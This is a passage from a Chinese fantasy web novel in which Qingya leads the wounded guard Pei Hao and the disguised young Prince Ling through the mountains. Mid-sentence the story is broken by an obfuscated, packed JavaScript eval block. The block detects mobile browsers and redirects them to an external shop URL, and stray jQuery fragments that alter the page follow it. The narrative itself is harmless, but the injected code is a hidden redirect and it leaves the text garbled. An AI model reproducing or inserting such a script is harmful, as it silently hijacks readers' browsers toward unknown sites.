,在前方引路,裴浩一脚深一脚浅地跟在她身后。青崖瞄了一眼裴浩身上的伤,问:“你还好吗?能背得动他吗?”裴浩咬着牙故作轻松:“可以。”
为了减轻他的负担,青崖还是吹哨招来自己的白马,让小少年趴在马背上。
裴浩身上的血有他自己的,也有旁人溅上去的,一看就是曾经历过一场恶战,他方才保护陵王,完全是以命搏命的架势。青崖不由发问:“你保护的这位是你什么人?”
裴浩犹豫了一下道:“这是我家公子,前不久被山匪劫走,我是他的侍卫,昨晚才把他从山匪手中救出。”
“哦——”青崖点头,“所以你是皇子侍卫?”
裴浩吃了一惊,停下脚步,拉住白马,“你怎知他是皇子?”
“别停下。”白马与青崖颇有默契,随她口令继续前行,裴浩也下意识跟着往前走,青崖道:“昨晚我与姐姐趴在旁边想救他的时候,听见那些山匪称他是‘陵王’。你放心,我在这山里住了十几年,跟外人少有来往,他是什么身份对我来说都无所谓,我只是好奇打听一下罢了。”
“原来如此,”裴浩略感抱歉道,“方才以为姑娘是歹人,多有冒犯,请姑娘见谅。我家公子现在危在旦夕,他身份特殊不便让人知晓,姑娘可否替我们保密,在人前称他‘阿远公子’即可?”
原来小皇子叫阿远。
“呃……”青崖为难地顿了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677802|144215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下,决定说出实情,“我姐姐和我一样昨日已经知道他的真实身份,至于现在在我家的那个药师,他也认得陵王。”
“他也认得?”裴浩怔了一下,恍然大悟,再次拉住白马缰绳,皱眉愤愤道:“你说的那个药师,难道其实是山匪的同党?是你在官兵剿匪时救出来的人?”
之前他没来得及细想,现在才明白药师来历。
劫持伤害陵王的就是山匪,如今竟要让他带着陵王去向山匪同党求救?
青崖理解裴浩的气愤与担忧,一边拉着他继续赶路,一边耐心把昨晚的见闻向他细细描述一遍,替长山分辨:“虽是与山匪同行之人,但长山药师和山匪不同,我亲眼所见,要不是他挺身而出,你家阿远公子恐怕昨晚就性命难保。”
裴浩沉默不语,带着前途未卜的茫然,脚步似有千斤重。
红鸾常告诫青崖,人类中多是胆小虚伪之辈,重情重义者凤毛麟角,青崖不甚赞同,迫不及待要把眼前这位愿意空手抓白刃保护他人的裴浩带回去,让姐姐看看是凤毛还是麟角。
可是如果姐姐排斥他们,不允许他们留下怎么办?陵王是皇子,颁布《捉妖令》的就是皇子的父亲,当朝皇帝。姐姐恨屋及乌,也是常理。
姐姐不相信她的相面结论,仅仅靠她口说“陵王看起来是好人”不足以让姐姐把皇帝和皇子区分看待,得有其他更确切的证明才行,须旁敲侧击问问裴浩,小皇子是怎样